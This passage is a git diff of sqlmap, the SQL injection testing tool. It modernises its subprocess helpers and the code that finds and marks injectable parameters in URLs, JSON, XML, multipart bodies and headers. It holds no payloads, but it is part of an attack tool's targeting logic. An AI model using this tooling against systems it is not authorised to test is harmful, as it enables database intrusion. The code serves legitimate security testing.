readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") - loadHistory() - atexit.register(saveHistory) + loadHistory(completion) + atexit.register(saveHistory, completion) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 58491e79074..97bac9bb26d 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,46 +1,52 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import division + import errno import os -import sys +import subprocess import time -from lib.core.common import dataToStdout +from lib.core.compat import buffer +from lib.core.convert import getBytes from lib.core.settings import IS_WIN -if not IS_WIN: +if IS_WIN: + try: + from win32file import ReadFile, WriteFile + from win32pipe import PeekNamedPipe + except ImportError: + pass + import msvcrt +else: + import select import fcntl - if (sys.hexversion >> 16) >= 0x202: - FCNTL = fcntl - else: - import FCNTL - def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor - output = "" + output = b"" while True: try: output += os.read(fd, 8192) - except (OSError, IOError), ioe: + except (OSError, IOError) as ioe: if ioe.args[0] in (errno.EAGAIN, errno.EINTR): # Uncomment the following line if the process seems to # take a huge amount of cpu time # time.sleep(0.01) - continue + continue else: raise break if not output: - raise EOFError, "fd %s has been closed." % fd + raise EOFError("fd %s has been closed." % fd) return output @@ -50,41 +56,147 @@ def blockingWriteToFD(fd, data): try: data_length = len(data) wrote_data = os.write(fd, data) - except (OSError, IOError), io: + except (OSError, IOError) as io: if io.errno in (errno.EAGAIN, errno.EINTR): - continue + continue else: - raise + raise if wrote_data < data_length: blockingWriteToFD(fd, data[wrote_data:]) break -def setNonBlocking(fd): - """ - Make a file descriptor non-blocking - """ +# the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/ +class Popen(subprocess.Popen): + def recv(self, maxsize=None): + return self._recv('stdout', maxsize) + + def recv_err(self, maxsize=None): + return self._recv('stderr', maxsize) + + def send_recv(self, input=b'', maxsize=None): + return self.send(input), self.recv(maxsize), self.recv_err(maxsize) + + def get_conn_maxsize(self, which, maxsize): + if maxsize is None: + maxsize = 1024 + elif maxsize < 1: + maxsize = 1 + return getattr(self, which), maxsize + + def _close(self, which): + getattr(self, which).close() + setattr(self, which, None) + + if IS_WIN: + def send(self, input): + if not self.stdin: + return None + + try: + x = msvcrt.get_osfhandle(self.stdin.fileno()) + (_, written) = WriteFile(x, input) + except (ValueError, NameError): + return self._close('stdin') + except Exception as ex: + if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): + return self._close('stdin') + raise + + return written + + def _recv(self, which, maxsize): + conn, maxsize = self.get_conn_maxsize(which, maxsize) + if conn is None: + return None + + try: + x = msvcrt.get_osfhandle(conn.fileno()) + (read, nAvail, _) = PeekNamedPipe(x, 0) + if maxsize < nAvail: + nAvail = maxsize + if nAvail > 0: + (_, read) = ReadFile(x, nAvail, None) + except (ValueError, NameError): + return self._close(which) + except Exception as ex: + if getattr(ex, "args", None) and ex.args[0] in (109, errno.ESHUTDOWN): + return self._close(which) + raise - if IS_WIN is not True: - flags = fcntl.fcntl(fd, FCNTL.F_GETFL) - flags = flags | os.O_NONBLOCK - fcntl.fcntl(fd, FCNTL.F_SETFL, flags) + if self.universal_newlines: + read = self._translate_newlines(read) + return read + else: + def send(self, input): + if not self.stdin: + return None + + if not select.select([], [self.stdin], [], 0)[1]: + return 0 + + try: + written = os.write(self.stdin.fileno(), input) + except OSError as ex: + if ex.args[0] == errno.EPIPE: # broken pipe + return self._close('stdin') + raise -def pollProcess(process, suppress_errors=False): - while True: - dataToStdout(".") - time.sleep(1) + return written + + def _recv(self, which, maxsize): + conn, maxsize = self.get_conn_maxsize(which, maxsize) + if conn is None: + return None + + flags = fcntl.fcntl(conn, fcntl.F_GETFL) + if not conn.closed: + fcntl.fcntl(conn, fcntl.F_SETFL, flags | os.O_NONBLOCK) + + try: + if not select.select([conn], [], [], 0)[0]: + return '' + + r = conn.read(maxsize) + if not r: + return self._close(which) + + if self.universal_newlines: + r = self._translate_newlines(r) + return r + finally: + if not conn.closed: + fcntl.fcntl(conn, fcntl.F_SETFL, flags) + +def recv_some(p, t=.1, e=1, tr=5, stderr=0): + if tr < 1: + tr = 1 + x = time.time() + t + y = [] + r = '' + if stderr: + pr = p.recv_err + else: + pr = p.recv + while time.time() < x or r: + r = pr() + if r is None: + break + elif r: + y.append(r) + else: + time.sleep(max((x - time.time()) / tr, 0)) + return b''.join(getBytes(i) for i in y) - returncode = process.poll() +def send_all(p, data): + if not data: + return - if returncode is not None: - if not suppress_errors: - if returncode == 0: - dataToStdout(" done\n") - elif returncode < 0: - dataToStdout(" process terminated by signal %d\n" % returncode) - elif returncode > 0: - dataToStdout(" quit unexpectedly with return code %d\n" % returncode) + data = getBytes(data) + while len(data): + sent = p.send(data) + if not isinstance(sent, int): break + data = buffer(data[sent:]) diff --git a/lib/core/target.py b/lib/core/target.py index 902442d4f32..3de535f2600 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,55 +1,88 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import binascii -import codecs +import functools import os import re +import subprocess +import sys import tempfile import time from lib.core.common import Backend +from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import intersect +from lib.core.common import isNumPosStrValue +from lib.core.common import normalizeUnicode +from lib.core.common import openFile from lib.core.common import paramToDict +from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.common import removePostHintPrefix from lib.core.common import resetCookieJar -from lib.core.convert import urldecode -from lib.core.data import cmdLineOptions +from lib.core.common import safeStringFormat +from lib.core.common import unArrayizeValue +from lib.core.common import urldecode +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import mergedOptions from lib.core.data import paths +from lib.core.datatype import InjectionDict +from lib.core.dicts import DBMS_DICT from lib.core.dump import dumper from lib.core.enums import HASHDB_KEYS +from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import PLACE -from lib.core.exception import sqlmapFilePathException -from lib.core.exception import sqlmapGenericException -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapUserQuitException -from lib.core.option import authHandler -from lib.core.option import __setDBMS -from lib.core.option import __setKnowledgeBaseAttributes +from lib.core.enums import POST_HINT +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingPrivileges +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUserQuitException +from lib.core.option import _setAuthCred +from lib.core.option import _setDBMS +from lib.core.option import _setKnowledgeBaseAttributes +from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX +from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES +from lib.core.settings import INJECT_HERE_REGEX +from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX +from lib.core.settings import JSON_RECOGNITION_REGEX +from lib.core.settings import MULTIPART_RECOGNITION_REGEX +from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES +from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT -from lib.core.settings import SOAP_REGEX +from lib.core.settings import SESSION_SQLITE_FILE from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import XML_RECOGNITION_REGEX +from lib.core.threads import getCurrentThreadData from lib.utils.hashdb import HashDB -from lib.core.xmldump import dumper as xmldumper +from thirdparty import six +from thirdparty.odict import OrderedDict +from thirdparty.six.moves import urllib as _urllib -def __setRequestParams(): +def _setRequestParams(): """ Check and set the parameters and perform checks on 'data' option for HTTP method POST. @@ -59,10 +92,11 @@ def __setRequestParams(): conf.parameters[None] = "direct connection" return + hintNames = [] testableParameters = False # Perform checks on GET parameters - if conf.parameters.has_key(PLACE.GET) and conf.parameters[PLACE.GET]: + if conf.parameters.get(PLACE.GET): parameters = conf.parameters[PLACE.GET] paramDict = paramToDict(PLACE.GET, parameters) @@ -71,80 +105,250 @@ def __setRequestParams(): testableParameters = True # Perform checks on POST parameters - if conf.method == HTTPMETHOD.POST and not conf.data: - errMsg = "HTTP POST method depends on HTTP data value to be posted" - raise sqlmapSyntaxException, errMsg - - if conf.data: - if hasattr(conf.data, UNENCODED_ORIGINAL_VALUE): - original = getattr(conf.data, UNENCODED_ORIGINAL_VALUE) - conf.data = type(conf.data)(conf.data.replace("\n", " ")) - setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) - else: - conf.data = conf.data.replace("\n", " ") - - if re.match(SOAP_REGEX, conf.data, re.I | re.M): - place = PLACE.SOAP + if conf.method == HTTPMETHOD.POST and conf.data is None: + logger.warning("detected empty POST body") + conf.data = "" + + if conf.data is not None: + conf.method = conf.method or HTTPMETHOD.POST + + def process(match, repl): + retVal = match.group(0) + + if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'): + retVal = repl + while True: + _ = re.search(r"\\g<([^>]+)>", retVal) + if _: + try: + retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + except IndexError: + break + else: + break + if kb.customInjectionMark in retVal: + hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name"))) + + return retVal + + if kb.processUserMarks is None and kb.customInjectionMark in conf.data: + message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method) + message += "body. Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processUserMarks = choice == 'Y' + + if kb.processUserMarks: + kb.testOnlyCustom = True + + if re.search(JSON_RECOGNITION_REGEX, conf.data): + message = "JSON data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.JSON + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*".*?)"(?%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*")"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) + for match in re.finditer(r'(?P[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data): + if not (conf.testParameter and match.group("name") not in conf.testParameter): + _ = match.group(2) + if kb.customInjectionMark not in _: # Note: only for unprocessed (simple) forms - i.e. non-associative arrays (e.g. [1,2,3]) + _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _) + _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) + conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) + + elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): + message = "JSON-like data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.JSON_LIKE + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + if '"' in conf.data: + conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data) + else: + conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) + + elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): + message = "Array-like data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.ARRAY_LIKE + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) + + elif re.search(XML_RECOGNITION_REGEX, conf.data): + message = "SOAP/XML data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) + + elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): + message = "Multipart-like data found in %s body. " % conf.method + message += "Do you want to process it? [Y/n/q] " + choice = readInput(message, default='Y').upper() + + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + kb.postHint = POST_HINT.MULTIPART + if not (kb.processUserMarks and kb.customInjectionMark in conf.data): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) + conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) + conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), + functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) + + if not kb.postHint: + if kb.customInjectionMark in conf.data: # later processed + pass + else: + place = PLACE.POST + + conf.parameters[place] = conf.data + paramDict = paramToDict(place, conf.data) + + if paramDict: + conf.paramDict[place] = paramDict + testableParameters = True else: - place = PLACE.POST - - conf.parameters[place] = conf.data - paramDict = paramToDict(place, conf.data) + if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found + conf.parameters[PLACE.POST] = conf.data - if paramDict: - conf.paramDict[place] = paramDict - testableParameters = True + kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks - conf.method = HTTPMETHOD.POST - - if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(map(lambda place: place in conf.parameters, [PLACE.GET, PLACE.POST])): - warnMsg = "you've provided target url without any GET " - warnMsg += "parameters (e.g. www.site.com/article.php?id=1) " + if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"): + warnMsg = "you've provided target URL without any GET " + warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "and without providing any POST parameters " - warnMsg += "through --data option" - logger.warn(warnMsg) + warnMsg += "through option '--data'" + logger.warning(warnMsg) message = "do you want to try URI injections " - message += "in the target url itself? [Y/n/q] " - test = readInput(message, default="Y") + message += "in the target URL itself? [Y/n/q] " + choice = readInput(message, default='Y').upper() - if not test or test[0] not in ("n", "N"): - conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR) + if choice == 'Q': + raise SqlmapUserQuitException + elif choice == 'Y': + conf.url = "%s%s" % (conf.url, kb.customInjectionMark) kb.processUserMarks = True - elif test[0] in ("q", "Q"): - raise sqlmapUserQuitException - for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data)): - if CUSTOM_INJECTION_MARK_CHAR in (value or ""): - if kb.processUserMarks is None: - message = "custom injection mark ('%s') found in " % CUSTOM_INJECTION_MARK_CHAR - message += "'%s'. Do you want to process it? [Y/n/q] " % {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data'}[place] - test = readInput(message, default="Y") - if test and test[0] in ("q", "Q"): - raise sqlmapUserQuitException - else: - kb.processUserMarks = not test or test[0] not in ("n", "N") + for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))): + if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)): + continue - if not kb.processUserMarks: - continue + _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or "" + if kb.customInjectionMark in _: + if kb.processUserMarks is None: + lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'} + message = "custom injection marker ('%s') found in option " % kb.customInjectionMark + message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place] + choice = readInput(message, default='Y').upper() - conf.parameters[place] = value - conf.paramDict[place] = {} - parts = value.split(CUSTOM_INJECTION_MARK_CHAR) + if choice == 'Q': + raise SqlmapUserQuitException + else: + kb.processUserMarks = choice == 'Y' - for i in xrange(len(parts) - 1): - conf.paramDict[place]["#%d%s" % (i + 1, CUSTOM_INJECTION_MARK_CHAR)] = "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts))) + if kb.processUserMarks: + kb.testOnlyCustom = True - if place == PLACE.URI and PLACE.GET in conf.paramDict: - del conf.paramDict[PLACE.GET] - elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict: - del conf.paramDict[PLACE.POST] + if "=%s" % kb.customInjectionMark in _: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warning(warnMsg) - testableParameters = True + if not kb.processUserMarks: + if place == PLACE.URI: + query = _urllib.parse.urlsplit(value).query + if query: + parameters = conf.parameters[PLACE.GET] = query + paramDict = paramToDict(PLACE.GET, parameters) + + if paramDict: + conf.url = conf.url.split('?')[0] + conf.paramDict[PLACE.GET] = paramDict + testableParameters = True + elif place == PLACE.CUSTOM_POST: + conf.parameters[PLACE.POST] = conf.data + paramDict = paramToDict(PLACE.POST, conf.data) + + if paramDict: + conf.paramDict[PLACE.POST] = paramDict + testableParameters = True + + else: + if place == PLACE.URI: + value = conf.url = conf.url.replace('+', "%20") # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5123 + + conf.parameters[place] = value + conf.paramDict[place] = OrderedDict() + + if place == PLACE.CUSTOM_HEADER: + for index in xrange(len(conf.httpHeaders)): + header, value = conf.httpHeaders[index] + if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value): + parts = value.split(kb.customInjectionMark) + for i in xrange(len(parts) - 1): + conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))) + conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, "")) + else: + parts = value.split(kb.customInjectionMark) + + for i in xrange(len(parts) - 1): + name = None + if kb.postHint: + for ending, _ in hintNames: + if parts[i].endswith(ending): + name = "%s %s" % (kb.postHint, _) + break + if name is None: + name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark) + conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))) + + if place == PLACE.URI and PLACE.GET in conf.paramDict: + del conf.paramDict[PLACE.GET] + elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict: + del conf.paramDict[PLACE.POST] + + testableParameters = True if kb.processUserMarks: - conf.url = conf.url.replace(CUSTOM_INJECTION_MARK_CHAR, "") - conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, "") if conf.data else conf.data + for item in ("url", "data", "agent", "referer", "cookie"): + if conf.get(item): + conf[item] = conf[item].replace(kb.customInjectionMark, "") # Perform checks on Cookie parameters if conf.cookie: @@ -157,95 +361,133 @@ def __setRequestParams(): # Perform checks on header values if conf.httpHeaders: - for httpHeader, headerValue in conf.httpHeaders: + for httpHeader, headerValue in list(conf.httpHeaders): # Url encoding of the header values should be avoided # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value - if httpHeader == PLACE.UA: - conf.parameters[PLACE.UA] = urldecode(headerValue) + if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper(): + conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) if condition: - conf.paramDict[PLACE.UA] = { PLACE.UA: headerValue } + conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} testableParameters = True - elif httpHeader == PLACE.REFERER: + elif httpHeader.upper() == HTTP_HEADER.REFERER.upper(): conf.parameters[PLACE.REFERER] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) if condition: - conf.paramDict[PLACE.REFERER] = { PLACE.REFERER: headerValue } + conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} testableParameters = True - elif httpHeader == PLACE.HOST: + elif httpHeader.upper() == HTTP_HEADER.HOST.upper(): conf.parameters[PLACE.HOST] = urldecode(headerValue) - condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES))) + condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) + + if condition: + conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue} + testableParameters = True + + else: + condition = intersect(conf.testParameter, [httpHeader], True) if condition: - conf.paramDict[PLACE.HOST] = { PLACE.HOST: headerValue } + conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) + conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} + conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders] testableParameters = True if not conf.parameters: errMsg = "you did not provide any GET, POST and Cookie " errMsg += "parameter, neither an User-Agent, Referer or Host header value" - raise sqlmapGenericException, errMsg + raise SqlmapGenericException(errMsg) elif not testableParameters: errMsg = "all testable parameters you provided are not present " - errMsg += "within the GET, POST and Cookie parameters" - raise sqlmapGenericException, errMsg - -def __setHashDB(): + errMsg += "within the given request data" + raise SqlmapGenericException(errMsg) + + if conf.csrfToken: + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): + errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original + errMsg += "found in provided GET, POST, Cookie or header values" + raise SqlmapGenericException(errMsg) + else: + for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): + if conf.csrfToken: + break + + for parameter in conf.paramDict.get(place, {}): + if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): + message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter) + message += "Do you want sqlmap to automatically update it in further requests? [y/N] " + + if readInput(message, default='N', boolean=True): + class _(six.text_type): + pass + conf.csrfToken = _(re.escape(getUnicode(parameter))) + conf.csrfToken._original = getUnicode(parameter) + break + +def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. """ if not conf.hashDBFile: - conf.hashDBFile = "%s%shashdb" % (conf.outputPath, os.sep) + conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE) + + if conf.flushSession: + if os.path.exists(conf.hashDBFile): + if conf.hashDB: + conf.hashDB.closeAll() - if os.path.exists(conf.hashDBFile): - if conf.flushSession: try: os.remove(conf.hashDBFile) - logger.info("flushing query storage file") - except OSError, msg: - errMsg = "unable to flush the hashdb file (%s)" % msg - raise sqlmapFilePathException, errMsg + logger.info("flushing session file") + except OSError as ex: + errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex) + raise SqlmapFilePathException(errMsg) conf.hashDB = HashDB(conf.hashDBFile) -def __resumeHashDBValues(): +def _resumeHashDBValues(): """ Resume stored data values from HashDB """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths - kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars - kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns + kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars + kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable + kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) + if isNumPosStrValue(kb.errorChunkLength): + kb.errorChunkLength = int(kb.errorChunkLength) + else: + kb.errorChunkLength = None + conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: - if injection.place in conf.paramDict and \ - injection.parameter in conf.paramDict[injection.place]: - - if not conf.tech or intersect(conf.tech, injection.data.keys()): - if intersect(conf.tech, injection.data.keys()): - injection.data = dict(filter(lambda (key, item): key in conf.tech, injection.data.items())) - + if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]: + if not conf.technique or intersect(conf.technique, injection.data.keys()): + if intersect(conf.technique, injection.data.keys()): + injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.technique) if injection not in kb.injections: kb.injections.append(injection) + kb.vulnHosts.add(conf.hostname) - __resumeDBMS() - __resumeOS() + _resumeDBMS() + _resumeOS() -def __resumeDBMS(): +def _resumeDBMS(): """ Resume stored DBMS information from HashDB """ @@ -253,27 +495,38 @@ def __resumeDBMS(): value = hashDBRetrieve(HASHDB_KEYS.DBMS) if not value: - return + if conf.offline: + errMsg = "unable to continue in offline mode " + errMsg += "because of lack of usable " + errMsg += "session data" + raise SqlmapNoneDataException(errMsg) + else: + return dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] - _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) - _ = re.search("%s ([\d\.]+)" % _, dbms, re.I) + _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) + _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: dbms = _.group(1).lower() dbmsVersion = [_.group(2)] if conf.dbms: - if conf.dbms.lower() != dbms: - message = "you provided '%s' as back-end DBMS, " % conf.dbms + check = True + for aliases, _, _, _ in DBMS_DICT.values(): + if conf.dbms.lower() in aliases and dbms not in aliases: + check = False + break + + if not 